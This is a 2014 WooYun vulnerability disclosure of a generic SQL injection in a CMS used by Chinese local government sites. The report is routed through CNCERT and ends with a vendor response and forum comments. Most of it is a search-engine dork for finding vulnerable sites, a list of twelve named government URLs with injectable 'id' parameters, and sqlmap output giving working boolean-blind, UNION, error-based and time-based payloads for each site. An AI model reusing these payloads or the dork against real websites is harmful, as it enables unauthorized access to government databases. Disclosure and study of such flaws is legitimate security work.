当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-064959

漏洞标题：某政务机构CMS#通用型Sql Injection

相关厂商：cncert国家互联网应急中心

漏洞作者： 从容

提交时间：2014-06-17 10:51

修复时间：2014-08-01 10:52

公开时间：2014-08-01 10:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-17： 细节已通知厂商并且等待厂商处理中
2014-06-21： 厂商已经确认，细节仅向厂商公开
2014-06-24： 细节向第三方安全合作伙伴开放
2014-08-15： 细节向核心白帽子及相关领域专家公开
2014-08-25： 细节向普通白帽子公开
2014-09-04： 细节向实习白帽子公开
2014-08-01： 细节向公众公开

简要描述：

某政务CMS#通用型Sql Injection
通用型的洞真心不好挖~

详细说明：

Baidu Or Google:

技术支持:壹点信息 inurl:php?id=


涉及的网站大多数都是大天朝的(☆＿☆)

安庆市机关事业单位社保局http://www.aqsb.com.cn/
望江县卫生局http://www.wjwsj.gov.cn/
安徽望江经济开发区http://www.ahwjkfq.gov.cn/
安庆市港航（地方海事）管理局http://www.aqmsa.cn/
望江县交通局http://www.wjxjt.gov.cn/
安庆市科学技术局http://www.aqstinfo.gov.cn/
望江县政府招标采购中心http://www.wjzbcg.gov.cn/
望江县人力资源和社会保障局http://www.wjrsj.gov.cn/
政协望江县委员会http://www.wjxzx.gov.cn/
望江县鸦滩镇人民政府http://www.wjyt.gov.cn/
太湖教育网http://www.ahthedu.cn/
望江县高士镇人民政府http://ahgaoshi.gov.cn/


还有很多就不一一列出来了~

漏洞证明：

那就来几发吧~

http://www.aqsb.com.cn/detail.php?id=489
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=489 AND 7155=7155
---


http://www.wjwsj.gov.cn/include/web_content.php?id=36475
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=36475 AND 4671=4671
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-6346 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7179797871,0x544c497a767271636962,0x7175666a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.ahwjkfq.gov.cn/include/web_content.php?id=69697
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=69697 AND 6508=6508
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-2730 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706a6d71,0x617a74665354727a6b6c,0x7177766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.aqmsa.cn/detail.php?id=966
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=966 AND 8021=8021
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=966 AND (SELECT 2146 FROM(SELECT COUNT(*),CONCAT(0x7164796771,(SELECT (CASE WHEN (2146=2146) THEN 1 ELSE 0 END)),0x7171717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=966 AND SLEEP(5)
---


http://www.wjxjt.gov.cn/include/web_content.php?id=26678
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=26678 AND 3333=3333
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-7388 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176636a71,0x517072726c4e4b7a626d,0x7163656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.aqstinfo.gov.cn/welcome/detail.php?id=974
---
Place: GET
Parameter: id
    Type: UNION query
    Title: MySQL UNION query (NULL) - 20 columns
    Payload: id=974 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71646e6571,0x63506b7a684c6141566e,0x7162717971),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.wjzbcg.gov.cn/include/web_content.php?id=57819
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=57819 AND 4870=4870
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-8083 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162717a71,0x417a46764865566b4d61,0x7176666471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.wjrsj.gov.cn/include/web_content.php?id=41305
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=41305 AND 8234=8234
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-2591 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176757271,0x4c524b41794964636c6d,0x717a6b6771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.wjxzx.gov.cn/include/web_content.php?id=35601
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=35601 AND 5443=5443
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-1322 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171647871,0x69565477646f6f6d5342,0x716d6c6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.wjyt.gov.cn/include/web_content.php?id=74544
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=74544 AND 1390=1390
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-8569 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161657071,0x67697670734756666774,0x716f727871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://www.ahthedu.cn/include/web_content.php?id=3205
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=3205 AND 7319=7319
    Type: UNION query
    Title: MySQL UNION query (NULL) - 22 columns
    Payload: id=-9853 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716f686671,0x4948796954596772426a,0x7172677571),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


http://ahgaoshi.gov.cn/include/web_content.php?id=27367
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=27367 AND 2705=2705
    Type: UNION query
    Title: MySQL UNION query (NULL) - 23 columns
    Payload: id=-9889 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716e6a7971,0x44536b49464e67446773,0x7177646471),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---


表段字段神马的太多了，就不列出来了~

修复方案：

过滤
:)

版权声明：转载请注明来源 从容@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-06-21 22:36

厂商回复：

CNVD确认并复现多个实例情况，确认通用性，通过两种方式处置，（1）电话联系软件生产厂商，壹点信息，至0556 （转技术部），将通报发送至 邮箱（2）根据测试结果，将涉及政府网站下发至CNCERT安徽分中心进行处置。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-09 22:35 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    这漏洞有钱吗

  2. 2014-07-09 23:24 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    @贫道来自河北 嗯

  3. 2014-07-09 23:28 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @从容 如何判断通用漏洞是否有钱 这个漏的钱发了吗

  4. 2014-07-10 00:10 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    @贫道来自河北 还没有，这个东西不能急，提交了通用型漏洞就会给钱，详细去看公告吧

  5. 2014-07-10 00:13 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @从容 谢大牛指点